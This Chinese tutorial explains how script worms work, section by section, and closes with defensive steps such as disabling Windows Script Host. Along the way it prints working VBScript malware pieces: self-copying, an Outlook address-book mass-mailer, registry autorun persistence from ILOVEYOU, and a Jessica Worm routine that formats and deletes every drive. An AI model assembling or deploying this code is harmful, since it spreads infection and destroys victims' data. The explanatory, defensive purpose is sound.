實例解析蠕蟲病毒的原理

如今對大家的電腦威脅最大的就屬網絡蠕蟲病毒了!網絡蠕蟲病毒的危害之大簡直令人吃驚,從大名鼎鼎的“愛蟲”到“歡樂時光”,再到“紅色代碼”,其破壞力越來越強,因此我們有必要了解網絡蠕蟲病毒。
?

  蠕蟲病毒與一般的計算機病毒不同,它不采用將自身拷貝附加到其他程序中的方式來復制自己,所以在病毒中它也算是一個“另類”。蠕蟲病毒的破壞性很強,部分蠕蟲病毒不僅可以在因特網上興風作浪,局域網也成了它們“施展身手”的舞臺――蠕蟲病毒可以潛伏在基于客戶機/服務機模式的局域網的服務機上的軟件內,當客戶機訪問服務機,并對有毒的軟件實施下載后,病毒就神不知、鬼不覺地從服務機上“拷貝”到客戶機上了。

  其實腳本病毒是很容易制造的,它們都利用了視窗系統的開放性的特點。特別是COM到COM+的組件編程思路,一個腳本程序能調用功能更大的組件來完成自己的功能。以VB腳本病毒(如歡樂時光、?I?Love?You?、庫爾尼科娃病毒、Homepage病毒等)為例,他們都是把.vbs腳本文件添在附件中,最后使用*.htm.vbs等欺騙性的文件名。下面我們詳細了解一下蠕蟲病毒的幾大特性,從中找到對付蠕蟲病毒的方法。

  一、蠕蟲病毒具有自我復制能力

  我們以普通的VB腳本為例來看看:?
JavaScript代碼

???
1.? Set? objFs=CreateObject?("Scripting.FileSystemObject")????
???
2.? '創建一個文件系統對象???
???
3.? objFs.CreateTextFile?( "C:\virus.txt" ,? 1 )???
???
4.? '通過文件系統對象的方法創建了一個TXT文件。???

如果我們把這兩句話保存成為.vbs的VB腳本文件,點擊就會在C盤中創建一個TXT文件了。倘若我們把第二句改為:??
JavaScript代碼

???
1.? objFs.GetFile?(WScript.ScriptFullName).Copy?( "C:\virus.vbs" )???

就可以將自身復制到C盤virus.vbs這個文件。本句前面是打開這個腳本文件,WScript.ScriptFullName指明是這個程序本身,是一個完整的路徑文件名。GetFile函數獲得這個文件,Copy函數將這個文件復制到C盤根目錄下virus.vbs這個文件。這么簡單的兩句就實現了自我復制的功能,已經具備病毒的基本特征――自我復制能力。
 
  二、蠕蟲病毒具有很強的傳播性

  病毒需要傳播,電子郵件病毒的傳播無疑是通過電子郵件傳播的。對于OutLook來說地址簿的功能相當不錯,可是也給病毒的傳播打開了方便之門。幾乎所有通過OutLook傳播的電子郵件病毒都是向地址簿中存儲的電子郵件地址發送內同相同的腳本附件完成的。看看如下的代碼:
JavaScript代碼

???
1.? Set? objOA=Wscript.CreateObject?( "Outlook.Application" )????
???
2.? '創建一個OUTLOOK應用的對象???
???
3.? Set? objMapi=objOA.GetNameSpace?( "MAPI" )???
???
4.? '取得MAPI名字空間????
???
5.? For? i= 1? to? objMapi.AddressLists.Count????
???
6.? '遍歷地址簿???
???
7.? Set? objAddList=objMapi.AddressLists?(i)???
???
8.? For? j= 1? To? objAddList.?AddressEntries.Count???
???
9.? Set? objMail=objOA.CreateItem?( 0 )???
??
10.? objMail.Recipients.Add?(objAddList.?AddressEntries?(j))???
??
11.? '取得收件人郵件地址????
??
12.? objMail.Subject= "你好!"????
??
13.? '設置郵件主題???
??
14.? objMail.Body= "這次給你的附件,是我的新文檔!"???
??
15.? '設置信件內容????
??
16.? objMail.Attachments.Add?(“c:\virus.vbs ")????
??
17.? '把自己作為附件擴散出去???
??
18.? objMail.Send???
??
19.? '發送郵件????
??
20.? Next????
??
21.? Next????
??
22.? Set? objMapi= Nothing????
??
23.? '清空objMapi變量,釋放資源,值得學習的編程習慣???
??
24.? Set? objOA= Nothing???
??
25.? '清空objOA變量???

  這一小段代碼的功能是向地址簿中的用戶發送電子郵件,并將自己作為附件擴散出去。這段代碼中的第一行是創建一個Outlook的對象,是必不可少的。在其下是一個循環,在循環中不斷地向地址簿中的電子郵件地址發送內容相同的信件。蠕蟲病毒就是這樣進行傳播的。

  三、蠕蟲病毒具有一定的潛伏性

  要使病毒潛伏,對于“腳本”語言并不是很難的一件事,因為這種語言并不是面向對象的可視化編程,自然就不存在窗體,所以可以免去隱藏窗體的麻煩。從I?love?you病毒中,很容易看出蠕蟲病毒在潛伏時的特點,它們多數是修改注冊表等信息以判斷各種條件及取消一些限制。以下是從I?love?you病毒中提取出的部分代碼:?
JavaScript代碼

???
1.? On?Error?Resume?Next????
???
2.? '容錯語句,避免程序崩潰???
???
3.? dim? wscr,rr???
???
4.? set? wscr=CreateObject?( "WScript.Shell" )???
???
5.? '擊活?WScript.Shell?對象????
???
6.? rr=wscr.RegRead?( "HKEY_CURRENT_USER\Software\Microsoft\Windows?Scripting?Host\Settings\Timeout" )????
???
7.? '讀入注冊表中的超時鍵值???
???
8.? if? (rr>= 1 )? then???
???
9.? '超時設置????
??
10.? wscr.RegWrite? "HKEY_CURRENT_USER\Software\Microsoft\Windows?Scripting?Host\Settings\Timeout" , 0 , "REG_DWORD"????
??
11.? end?if???

  上面這部分代碼很明顯是調整腳本語言的超時設置。下面的一段代碼則是修改注冊表,使得每次系統啟動自動執行腳本:?
JavaScript代碼

???
1.? regcreate? "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" ,dirsystem "\MSKernel32.vbs"????
???
3.? regcreate? "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL" ,dirwin "\Win32DLL.vbs"???

其中MSKernel32.vbs和Win32DLL.vbs是病毒腳本的一個副本。怎么樣,看出蠕蟲病毒是怎樣潛伏的吧?

四、蠕蟲病毒具有特定的觸發性

  在這里我們以時間觸發為例,使用一個很簡單的判斷程序,來判斷時間到了沒有,如果有就開始執行代碼。好,我們看看程序:?
JavaScript代碼

???
1.? x=time?()????
???
2.? if? x=xx.xx.xx? then????
???
3.? …………????
???
4.? end?if???

  就這么簡單一個程序,就可以實現特定條件觸發事件的目的。當然了,病毒制作者還可以通過監視運行某個程序而觸發事件,也可以響應鍵盤觸發事件等等。

  五、蠕蟲病毒具有很大的破壞性

  蠕蟲病毒的破壞性大家都有所了解吧?我們以著名的蠕蟲病毒Jessica?Worm中的部分破壞代碼為例來加以分析說明:?
JavaScript代碼

???
1.? sub? killc?()????
???
2.? '破壞硬盤的過程???
???
3.? On?Error?Resume?Next???
???
4.? '容錯語句,避免程序崩潰????
???
5.? dim? fs,auto,disc,ds,ss,i,x,dir????
???
6.? Set? fs?=?CreateObject?( "Scripting.FileSystemObject" )????
???
7.? Set? auto?=?fs.CreateTextFile?( "c:\Autoexec.bat" ,? True )????
???
8.? '建立或修改自動批處理???
???
9.? auto.WriteLine?( "@echo?off" )???
??
10.? '屏蔽掉刪除的進程????
??
11.? auto.WriteLine?( "Smartdrv" )????
??
12.? '加載磁盤緩沖,好毒啊!???
??
13.? Set? disc?=?fs.Drives???
??
14.? '得到驅動器的集合????
??
15.? For?Each? ds? in? disc????
??
16.? If? ds.DriveType?=? 2? Then????
??
17.? '如果驅動器是本地盤???
??
18.? ss?=?ss?& ds.DriveLetter???
??
19.? '就將符號連在一起????
??
20.? End?if????
??
21.? Next????
??
22.? ss=LCase?(StrReverse?(Trim?(ss)))????
??
23.? '得到符號串的反向小寫形式???
??
24.? For? i= 1? to? Len?(ss)???
??
25.? '遍歷每個驅動器????
??
26.? x= Mid? (ss,i, 1 )????
??
27.? '讀每個驅動器的符號???
??
28.? auto.WriteLine?( "format/autotest/q/u?" &x& ":" )???
??
29.? '反向?(從Z:到A:)自動格式化驅動器,狠毒啊!????
??
30.? next????
??
31.? For? i= 1? to? Len?(ss)????
??
32.? x= Mid? (ss,i, 1 )????
??
33.? auto.WriteLine?( "deltree/y?" &x ":" )????
??
34.? '怕Format失效用Deltree雙保險,知道厲害了吧???
??
35.? next???
??
36.? auto.Close???
??
37.? '關閉批處理文件????
??
38.? set? dir=fs.GetFile?( "c:\Autoexec.bat" )????
??
39.? dir.attributes=dir.attributes+ 2????
??40.?
'將自動批處理文件改為隱藏????
??
41.? End?sub???

  如果以前你沒有親身體驗到蠕蟲病毒的厲害,那么從這個小例子中,你應該知道蠕蟲病毒的厲害了吧?

  六、反擊蠕蟲病毒

  我們已經了解網絡蠕蟲病毒的構造,現在可以逐個擊破網絡蠕蟲病毒幾大功能模塊。使網絡蠕蟲病毒不能這么橫行無忌的破壞我們的電腦及盜竊我們的資料。

  1.首先我們應該先看看如何破解病毒的破壞力最強的功能模塊――病毒的破壞性。

  網絡蠕蟲病毒不可能像傳統病毒一樣調用匯編程序來實現破壞功能。它只能通過調用已經編譯好的帶有破壞性的程序來實現這一功能。那么我們就把本地的帶有破壞性的程序改名字,比如把format.com改成fmt.com,那樣病毒的編輯者就無發實現用調用本地命令來實現這一功能。(這方法簡單易行并不影響電腦的正常使用,但也有其不足的地方,我們會在下文中會對其不足進行說明。)

  2.我們再看看如何破解病毒的潛伏性及觸發性功能模塊。

  它是通過死循環語句完成的,且一開機就運行這程序,等待觸發條件。用Ctrl+Alt+Del彈出關閉程序對話框方可看見一個叫?Wscript.exe的程序在后臺運行(那樣的程序不一定是病毒,但病毒也常常偽裝成那樣的程序),我們為了防止病毒對我們的機算機進行破壞,我們不得不限制這類程序的運行時間(寧可錯殺一千,也不可放過一個),以達到控制的效果。首先在“開始”菜單的“運行”里輸入“Wscript”,然后會彈出一個窗體。單擊“經過以下數秒終止腳本”前面的復選框,使復選框前面打起鉤,然后調整下方的時間設為最小值即可。這樣可以破解一部分這樣的病毒的潛伏,消除潛伏性自然觸發性就破解了。

  另外,由于蠕蟲病毒大多是用VBScript腳本語言編寫的,而VBScript代碼是通過Windows?Script?Host來解釋執行的,因此將Windows?Script?Host刪除,就再也不用擔心這些用VBS和JS編寫的病毒了!從另一個角度來說,Windows?Script?Host本來是被系統管理員用來配置桌面環境和系統服務,實現最小化管理的一個手段,但對于大部分一般用戶而言,WSH并沒有多大用處,所以我們可以禁止?Windows?Script?Host。

  卸載Windows?Scripting?Host:

  在Windows98中(NT4.0以上同理),打開“控制面板”,打開“添加/刪除程序”,點選“Windows安裝程序”,再鼠標雙擊其中的“附件”一項,然后再在打開的窗口中將“Windows?Scripting?Host”一項的“對勾”去掉,然后點“確定”,再點“確定”,這樣就可以將Windows?Scripting?Host卸載。

  如果你嫌麻煩,可以到Windows目錄中,找到WScript.exe和JScript.exe,更改其名稱或者干脆刪除。

  3.接下來就該破解病毒的自我復制能力功能模塊。

  大多數利用VBscript編寫的病毒,自我復制的原理基本上是利用程序將本身的腳本內容復制一份到一個臨時文件,然后再在傳播的環節將其作為附件發送出去。而該功能的實現離不開“FileSystemObject”對象,因此禁止了“FileSystemObject”就可以有效的控制VBS病毒的傳播。具體操作方法:用regsvr32?scrrun.dll?/u這條命令就可以禁止文件系統對象。

  4.破解完了以上四個功能模塊,自然第五個功能模塊傳播性就不攻自破了。你還記不記得以上我們所說過的破解功能模塊的不足,雖然限制別人不能調用你的帶有破壞性的程序,但你也別忘了,別人可以用網頁拷貝的方式放入你的計算機中,再通過以上方法對你的計算機進行危害。要徹底防治網絡蠕蟲病毒,還須設置一下你的瀏覽器。方法是:在IE窗口中點擊“工具→Internet選項,在彈出的對話框中選擇“安全”標簽,再點擊“自定義級別”按鈕,就會彈出“安全設置”對話框,把其中所有ActiveX插件和控件以及Java相關全部選擇“禁用”即可。不過,這樣做在以后的網頁瀏覽過程中可能會造成一些正常使用?ActiveX的網站無法瀏覽。有利就有弊,您還是自己看著辦吧。

  只要用了以上的方法就可以有效地防范蠕蟲病毒,現在,你不會認為蠕蟲病毒可怕了,至少,對蠕蟲病毒的神秘感打消了吧?如是,則達到了我們的目的!